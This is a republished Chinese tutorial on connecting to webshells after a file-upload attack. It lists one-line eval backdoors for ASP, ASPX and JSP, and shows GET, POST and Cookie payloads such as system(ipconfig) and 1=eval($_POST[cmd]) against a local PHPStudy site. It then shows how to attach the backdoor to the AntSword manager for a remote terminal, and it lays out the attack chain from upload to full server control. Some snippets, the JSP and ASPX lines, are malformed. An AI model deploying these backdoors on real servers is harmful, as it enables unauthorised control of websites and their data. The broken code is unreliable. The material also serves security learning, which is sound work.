iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >文件上传之Webshell连接方法
  • 322
分享到

文件上传之Webshell连接方法

网络安全web安全 2023-09-03 20:09:02 322人浏览 八月长安
摘要

目录 基础 攻击流程 大小马 常用Webshell 简单一句话木马webshell GET方法 POST方法  Cookie  蚁剑连接Webshell WEBshell就是以asp.PHP.jsp或者cgi等网页文件形式存在的

目录

基础

攻击流程

大小马

常用Webshell

简单一句话木马webshell

GET方法

POST方法

 Cookie

 蚁剑连接Webshell


WEBshell就是以asp.PHP.jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称为一种网页木马后门,攻击者可以通过这种网页后门获得网站服务器操作权限,控制网站服务器以进行上传下载文件, 查看数据库执行命令 通过服务器开放的端口获取服务器的某些权限。 往目标网站中上传一句话木马,然后你就可以在本地通过Shell管理工具连接即可获取和控制整个网站目录

基础

Webshell是在文件上传后才执行的操作,通过向网站上传恶意文件后,本文介绍通过中国蚁剑工具进行连接获得权限,以及简单的GET POST Cookie 连接

攻击流程

获得权限--->上传恶意文件(小马)-->通过小马上传大马-->利用工具连接获得Webshell

1.利用web漏洞获取web权限,先获得权限才可以上传代码,而后再可以利用工具连接得到权限2.上传小马3.上传大马4.远程调用webshell执行命令

大小马

1.大马,体积大、功能齐全、能够管理数据库文件管理、对站点进行快速的信息收集,甚至能够提权2.小马,一般而言,我们在上传文件的时候,会被限制上传的文件大小或是拦截的情况,那么我通过小马来上传大马,实现我们想要的功能3.一句话木马,短小精悍、功能强大、隐蔽性好、使用客户端可以快速管理webshell

常用Webshell
 

网站最常用的还是php代码的形式,本文也是只讲解利用PHP上传一句话木马

PHP

Cookie

ASP

<%eval request("saber")%>

ASPX

<%Page Language="Jscript"%>  <%eval(Request.liem["pass"])%>

JSP

  <%Runtime.getRuntime().exec(request).getParameter("i"));% >

简单一句话木马webshell

GET方法

0x01

在phpstudy文件目录下创建webshell文件夹,放置我们的一句话木马PHP代码,当然你也可以自己建立别的文件夹,执行环境需要web网站,我使用的是PHPStudy,相信学习安全的各位应该都是不陌生的,这里不过多赘述

eval函数的语法是把字符串作为PHP代码执行 创建pass变量后续使用get方法传递参数

0x02

回到浏览器中访问phpstydy根目录下webshell下t.php,出现空白页面证明我们的php语句正常执行没有报错

0x03

通过get方法像之前定义的pass变量传递参数,传递不同的参数有不同的效果,危险参数显而易见

Http://localhost/webshell/t.php?pass=system(dir);   获得当前文件路径

POST方法

0X01

同GET方法一致,写入我们需要PHP代码,使用POST传递。

0X02

回到浏览器访问文件并且打开我们的代理插件,开启8080服务使用burp工具抓包,将请求方式改为POS方式

0X03

抓取到请求包后,右键发送到重发器,进入重发器后现在我们需要做的就是把请求方法改为POST,右键找到变更请求方法 ,就可以将GET改为POST

未改变

 已改变

 0X04

改变后,现在需要做的事情就是传递参数了,上方的参数为saber这里就是使用这个参数, 写好后按照步骤发送就可以查看响应后的回显

saber=phpinfo();   phpinfo()输出php的配置信息

saber=system(dir);  查看当前文件路径saber=system(ipconfig);  查看本机ip

 Cookie

0x01

使用cookie传递参数,cookie会携带我们用户的数据,从而达到拿到shell的目的

assert() assert — 检查一个断言是否为 FALSE 

0X02

打开网页访问,Cookie参数我们通过一个插件 HacBar来操作,打开选择的Cookies选项使用写入需要的参数.

 0X03

 在Cookie处写入我们需要传递的参数为cmd,1是在PHP代码中包裹的值,eval将字符串作为PHP代码执行 ,POST选项出就写入代码来验证是否正确 ,发现是可以正确执行的,别的参数可以自行试验,

1=eval($_POST[cmd]);cmd=system(ipconfig); 显示出本机ip地址

 蚁剑连接Webshell

蚁剑(AntSWord)是一款开源的跨平台WebShell管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。

蚁剑推崇模块化的开发思想,遵循开源,就要开得漂亮的原则,致力于为不同层次的人群提供最简单易懂、方便直接的代码展示及其修改说明,努力让大家可以一起为这个项目贡献出力所能及的点滴,让这款工具真正能让大家用得顺心、舒适,让它能为大家施展出最人性化最适合你的能力!

使用蚁剑需要以下两个文件下载使用,加载器认准自己计算机对应型号下载,正常下载是无法解压的,点进加载器详情里面会有介绍如何下载,下载好后根据下面文件学习安装使用

蚁剑安装使用教程蚁剑

GitHub地址:加载器 源码

0X01

以Cookie为例复制路径打开蚁剑连接

0X02

打开蚁剑,右键在红框出打开窗口,点击添加数据,在这里连接我们的文件

0X03

填写后信息后因为是Cookie携带的参数,我们还需要设置一下请求信息, 这里的密码是我们在请求信息处填写的信息,我这里是CMD,写成一是因为一开始写错了,如果连接错误应该是因为密码填写错误

写入name为Cookie,Value值为1=eval($_POST[cmd]);,同上方利用插件传递值是一样的,这里写完就可以左上角进行保存, 点击测试连接

Cookie1=eval($_POST[cmd]);

0X04

连接成功后添加数据,数据就保存到了蚁剑中,我们点击刚刚保存的地址右键打开虚拟终端

进入虚拟终端后就也就是shell页面就可以为所欲为,当然如果我们在实战中拿到了shell还是要遵纪守法,在合理范围内渗透不要对服务器造成破坏影响正常的业务

来源地址:https://blog.csdn.net/qq_49990221/article/details/130233460

--结束END--

本文标题: 文件上传之Webshell连接方法

本文链接: https://www.lsjlt.com/news/392737.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作